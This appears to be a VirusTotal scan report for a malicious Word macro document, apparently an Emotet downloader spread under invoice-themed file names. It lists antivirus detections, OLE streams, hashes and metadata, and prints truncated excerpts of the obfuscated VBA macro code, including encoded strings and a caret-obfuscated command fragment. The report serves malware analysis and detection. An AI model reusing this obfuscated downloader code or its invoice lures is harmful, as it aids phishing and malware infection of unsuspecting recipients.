Antivirus scan for 5655dae4f8a1647d50f0a581c16947eb4fd3fa83f99192273e94ca4742cdb820 at 2018-03-21 06:11:09 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180321
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180321
Fortinet	VBA/Agent.HHV!tr	20180321
Qihoo-360	virus.office.qexvmc.1085	20180321
Rising	Macro.Run.d (CLASSIC)	20180321
Zoner	Probably W97Obfuscated	20180321
Ad-Aware		20180321
AegisLab		20180321
AhnLab-V3		20180320
Alibaba		20180321
ALYac		20180321
Antiy-AVL		20180321
Avast		20180321
Avast-Mobile		20180320
AVG		20180321
Avira (no cloud)		20180320
AVware		20180321
BitDefender		20180321
Bkav		20180320
CAT-QuickHeal		20180320
ClamAV		20180321
CMC		20180321
Comodo		20180321
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180321
Cyren		20180321
DrWeb		20180321
eGambit		20180321
Emsisoft		20180321
Endgame		20180316
ESET-NOD32		20180321
F-Prot		20180321
F-Secure		20180321
GData		20180321
Ikarus		20180320
Sophos ML		20180121
Jiangmin		20180321
K7AntiVirus		20180320
K7GW		20180321
Kaspersky		20180321
Kingsoft		20180321
Malwarebytes		20180321
MAX		20180321
McAfee		20180321
McAfee-GW-Edition		20180321
Microsoft		20180321
eScan		20180321
NANO-Antivirus		20180321
nProtect		20180321
Palo Alto Networks (Known Signatures)		20180321
Panda		20180320
SentinelOne (Static ML)		20180225
Sophos AV		20180321
SUPERAntiSpyware		20180321
Symantec		20180321
Symantec Mobile Insight		20180311
Tencent		20180321
TheHacker		20180319
Trustlook		20180321
VBA32		20180320
VIPRE		20180321
ViRobot		20180321
WhiteArmor		20180223
Yandex		20180320
Zillya		20180320
ZoneAlarm by Check Point		20180321

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-21 06:45:00

revision_number

author

Fewase

page_count

last_saved

2018-03-21 06:45:00

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/FiLRtcbDi

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/dkJvLZCZqMF

[+] Macros/VBA/hTmSTzsviirzzd

[+] Macros/VBA/kmAUwWXHLuAXYG

[+] Macros/VBA/whNjLOiGH

[+] WordDocument

Macros and VBA code streams

[+] FiLRtcbDi.bas Macros/VBA/FiLRtcbDi 28155 bytes

Function YDXjGEktjRqUZ()
On Error Resume Next
For FhzmdO = pNXYX To GRoifA
 YPLDsL = Gvfkt * Int(GiEEGb / CDate(hVVBY) / 62804 - Atn(99769)) + (88367 + Sin(SBQuw) * qWutS - Int(2481) + 27174 / hmfZYb / kYEww + tKiLL)
Next
lUilRCV = zDnEB("DaA5zAIGA5AQYAgDAkBwNAADA4AgZAYGA3AANAYDAmBAMAUGAwAQOAQDAjBQNAEDA1AAOAUGAhBgYAMDAxAQOAMGAyAQOAIDAzAQYAgDAlBQYAIDAwAwYAEGAmBQZAUGA1AgYAIGAzAgNAUDAxAgMAYGAmBwMAYGAmB1", 2 + 0, 158 + 0)
For icdUw = zoiKM To ASbnO
 HbSKid = vwGwL * Int(hHhfQ / CDate(SjYbn) / 58595 - Atn(51207)) + (23547 + Sin(wfbFvl) * jBYuA - Int(15426) + 5455 / rrWui / SnKkw + iAijH)
Next
For jNsLc = MqJSnU To ARmGz
 oKuqdR = OSJYt * Int(WLDLaQ / CDate(iFOzVV) / 90251 - Atn(44745)) + (36891 + Sin(mjYPN) * mXOtX - Int(48201) + 87221 / lZzzAz / MqOzj + zUHWhv)
Next
AjkjGF = zDnEB("uOOAQGA3AAMAUGA5AwNAkDAkBAMAYDAmBgNAIGA4AgZAADAlBAZAADA0AQNAEGA4AwNAADAxAQZAgDA3AQYAADAkBQOAIGAxAAMAkDAlBQ6Azn", 5 + 0, 104 + 0)
For WrUYJ = RoLWN To MhLvW
 WWzaqK = iJoCG * Int(pddKt / CDate(aoufQ) / 1825 - Atn(37021)) + (2146 + Sin(WOlZlZ) * ZSwBK - Int(12849) + 59125 / cmEzXf / WSqwIb + jZXIdH)
Next
For SkiPi = mNRGwk To aWHEvn
 DTwEB = LDlMd * Int(jPkum / CDate(WsISP) / 76750 - Atn(48851)) + (75591 + Sin(oWjiDr) * JzmdO - Int(31020) + 63808 / bFdpDi / bVzZvG + DKfNVW)
Next
kqMQK = zDnEB("nuSAqiBwYAMGA1AQNAADAkBQOAADAmBgZAMDA1AwYAYDAwAAZAQGA4AQZAcDA3AAMAMDA5AANAcDAmBAMAUGA5AgZAQDAyAwYAUDAhBQNAkDA5AwYAEGA2AwYAYDA1AQYAYGA1AAk", 2 + 0, 131 + 0)
For CdZPaG = IIqGLZ To KKkjRz
 NiiwzY = bwAuKC * Int(bEZcY / CDate(SMJSk) / 63931 - Atn(89892)) + (86790 + Sin(vdEXl) * vuTaip - Int(63043) + 20116 / LAXQiF / GtvcB + LLSdD)
Next
For wJzfS = wSnRi To zFtXoU
 DzhqVG = RDJEE * Int(GFBik / CDate(jWOpKt) / 93156 - Atn(37235)) + (87706 + Sin(jJGjtS) * RSbYG - Int(82864) + 86647 / jMKYu / KnAnV + KWzZnR)
Next
PDZYzujSz = zDnEB("jmzvU7wGAhBAOAMDAjBgNAEGAxAQNAUGAiBQZAQDAwAQZAMGAjBQNAQGAxAAMAYGAhBQMAYGAjBQZAEGAhBgNAQGAwAAMAMGA2AQOAIGAhBQZAMGA5AQZAADAjBQZAgDA0AQYAc", 2 + 0, 127 + 0)
For TAzYao = kQIPZ To Vjbhmv
 [... continues ...]

[+] hTmSTzsviirzzd.bas Macros/VBA/hTmSTzsviirzzd 20121 bytes

create-ole obfuscated run-file

Function YskSYKljFqraA()
On Error Resume Next
For ujjMnu = wsdTk To hKqZQ
 QstHM = Vqliwp * Int(PDQii / CDate(bnblS) / 72173 - Atn(73392)) + (34567 + Sin(uzrWGi) * uAZUbS - Int(7250) + 51593 / tnHVI / fMWpO + HaVaTV)
Next
lUilRCV = zDnEB("DaA5zq1", 2 + 0, 1 + 0)
For oqbjha = QFJbJ To AVZziw
 iRfARP = mZDuHw * Int(maSEa / CDate(zzaCuf) / 59774 - Atn(78745)) + (72783 + Sin(XvWiS) * KbSRb - Int(42732) + 81840 / PUMcO / HtECsi + cGlkJB)
Next
For iWulX = OsoOw To LoTITP
 QzuDUi = dNSqu * Int(HwzfN / CDate(IjTohq) / 54670 - Atn(35642)) + (93764 + Sin(kPWIa) * NjTZD - Int(29919) + 81035 / awTfb / pnupG + wJNNs)
Next
AjkjGF = zDnEB("uOT=%6Azn", 5 + 0, 3 + 0)
For KbcDT = swlPMo To tqSOiW
 rkMzVj = TOEWG * Int(oEOYXf / CDate(nibaaF) / 30212 - Atn(26143)) + (33986 + Sin(ufqvXa) * fimkZ - Int(64644) + 62919 / GHlobu / DoJMJm + PQoBl)
Next
For dbIPNj = QKrvB To GAihM
 RmdXQv = SiprE * Int(rZZqf / CDate(zWDwDG) / 18928 - Atn(23760)) + (95129 + Sin(VnSiHG) * zDrUHN - Int(45107) + 53146 / njJzh / DiOWN + aRGjIq)
Next
kqMQK = zDnEB("nuSAq te8gHgjvdDDvnk&&kRJOKGdIPk", 2 + 0, 15 + 0)
For CYZIl = amnipJ To WkTdCw
 LjkQks = Ymkkw * Int(OZuOY / CDate(SHXQD) / 47436 - Atn(26030)) + (65215 + Sin(qzdjK) * zSoJYt - Int(54658) + 3685 / CurmR / pEFijo + SjrWKn)
Next
For tRBoX = vkHGpW To QKnsns
 kLGFpw = lCfdd * Int(OBSAVz / CDate(KNjsF) / 57719 - Atn(94206)) + (88089 + Sin(jliXs) * iKvwZl - Int(18871) + 65279 / cLjZPr / XndZWf + ALBMd)
Next
PDZYzujSz = zDnEB("jmzvU7w%!&&ll=%iSRwQYc", 2 + 0, 14 + 0)
For tzGwh = HEXad To fDPtz
 iQtOq = TKDwvm * Int(ZjLid / CDate(krwki) / 355 - Atn(26067)) + (304 + Sin(rbwGO) * iMdiIM - Int(56610) + 45267 / LJkCD / UUmoM + hjKOdt)
Next
For puWwlB = jSNWt To TcwpK
 MYdcX = wHwhuO * Int(kMfqz / CDate(MoPhVb) / 4938 - Atn(57592)) + (14041 + Sin(iGOtL) * LMSzNo - Int(89291) + 54532 / YzHIvo / zOzjzq + AUEph)
Next
jWAQwkVwoFw = zDnEB("K7MmH7Crto%!!%dDorfwMu", 3 + 0, 14 + 0)
For afUCs = SYzMY To mhzcuV
 lwGzv = uVDRiJ * Int(MOZsiF / CDate(tVNzC) / 49293 - Atn(80536))  [... continues ...]

[+] whNjLOiGH.bas Macros/VBA/whNjLOiGH 7559 bytes

obfuscated

Function LkairaALnLYRO()
On Error Resume Next
For WnYMlD = HXpQF To wjTYzd
 ikSAa = qMCJm * Int(GpjoDO / CDate(FtDSi) / 7060 - Atn(80103)) + (66415 + Sin(UtrwAa) * mUXmiN - Int(95342) + 10577 / CmwCO / QJoYWa + kzkYE)
Next
MCWjjkbj = zDnEB("VBzcRTNmLd", 3 + 0, 4 + 0)
For JSocfq = Tfcjsw To EfQqfX
 dhJcDY = kaBFI * Int(wvOJT / CDate(QYkjI) / 60469 - Atn(51423)) + (54597 + Sin(Ejuth) * jliAb - Int(34128) + 57275 / FaakqB / QGXTG + sAAzc)
Next
For oHGbqB = wZpLA To AXKph
 KVIYbq = zFZtGz * Int(Ijtls / CDate(ksfCku) / 11401 - Atn(72969)) + (47583 + Sin(diGqaO) * iflCCB - Int(49729) + 63182 / LjzTiY / mrRqFo + kBaOvO)
Next
wlTSZKGzPlR = zDnEB("vhG6DZY dm7o8gHgjvdDDvnkvk", 6 + 0, 6 + 0)
For IruAK = HsiqF To AiWoE
 FhTzI = auwAA * Int(niSjDr / CDate(TUTpu) / 18308 - Atn(51296)) + (70878 + Sin(nwNNVB) * hjJiWZ - Int(29706) + 13618 / rFDaD / fikkr + sZpinq)
Next
For FXMHi = btXdf To hpFXXb
 vdpBX = LMDfp * Int(wXhEF / CDate(dzqhcE) / 13911 - Atn(31543)) + (18635 + Sin(TtnZdw) * bPWpn - Int(44230) + 1691 / OhIiN / kAZti + NAluGK)
Next
WAVRGsOsbc = zDnEB("rMBn  oiUA,", 6 + 0, 2 + 0)
For tKrQs = VFoiI To apJOWz
 wsisOj = Voaici * Int(DHNWRP / CDate(suvRQC) / 7037 - Atn(72815)) + (7236 + Sin(PuZNbK) * djtij - Int(59826) + 20740 / ZNWhw / EjwDzm + zivjlo)
Next
For znzjS = WaaPjQ To zqBht
 Lultqm = KMciw * Int(LWvRZC / CDate(FDimNn) / 84277 - Atn(775)) + (50479 + Sin(ltztIM) * uHtsj - Int(18420) + 97223 / QIFuCZ / iHoHPw + CuZkOr)
Next
BKKYZioC = zDnEB("DQ^c^E^p^S^m^o^C^vmiaRU.", 8 + 0, 15 + 0)
For BhCJjW = ItWtj To zimFYY
 PpEBw = OFzTw * Int(HKObDk / CDate(CKVOS) / 27207 - Atn(68437)) + (12457 + Sin(XITMpi) * LcBMW - Int(15387) + 24714 / ZXwYh / DiVGVz + bmmNHh)
Next
For NsAwt = uzzrwj To QzYEHM
 NwsZcH = mYiAsA * Int(AZAks / CDate(TULwb) / 1228 - Atn(51193)) + (5400 + Sin(qEPwCG) * zbTmD - Int(14282) + 49206 / rEffP / XUOILs + vzcjis)
Next
jWTuW = zDnEB("nC.Vo%     %^c^E^p^S^m^o^Cn", 2 + 0, 21 + 0)
For dkuwIj = ZQGAL To wFWUvn
 SkBpr = fEdrF * Int(PrlHK / CDate(WfAwEI) / 16173  [... continues ...]

[+] dkJvLZCZqMF.bas Macros/VBA/dkJvLZCZqMF 445 bytes

ExifTool file metadata

SharedDoc

Author

Fewase

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:03:21 05:45:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:03:21 05:45:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 f21569e74506daafed7d0c56bb1a2aab

SHA1 e7d5f8f818adf3537c0750e8528ac7aeba1732ba

SHA256 5655dae4f8a1647d50f0a581c16947eb4fd3fa83f99192273e94ca4742cdb820

ssdeep

3072:luhR2eSC+ONeOHfxM/lTyLRCxFK4k0wYDYP/mAAm:luhULOoO/xM/lmyrwYDc

File size 233.5 KB ( 239104 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Fewase, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Mar 20 05:45:00 2018, Last Saved Time/Date: Tue Mar 20 05:45:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-21 06:11:09 UTC ( 11 months ago )

Last submission 2018-05-08 00:24:16 UTC ( 9 months, 2 weeks ago )

File names

Outstanding Invoices.doc
Invoices attached.doc
emotet doc downloader (2).doc
Paid Invoices.doc
2 Past Due Invoices.doc
Fwd: ACH form.doc
6 Past Due Invoices.doc
Invoice 90781085 March.doc
Need to send the attachment.doc
Past Due Invoices.doc
1 Past Due Invoices.doc
2018.doc
ACH form.doc
Paid Invoice.doc
Document needed.doc
Paid Invoice & Credit Card Receipt.doc
Open Past Due Orders.doc
1dc55efe8c58d4f7fc60a4c0167735cd1656b4ee
Overdue payment.doc
Past Due Invoice.doc
Service Invoice.doc
0 Past Due Invoices.doc
Invoice receipt.doc
Sales Invoice.doc
Question.doc

SHA256:	5655dae4f8a1647d50f0a581c16947eb4fd3fa83f99192273e94ca4742cdb820
File name:	Paid Invoice.doc
Detection ratio:	6 / 56
Analysis date:	2018-03-21 06:11:09 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in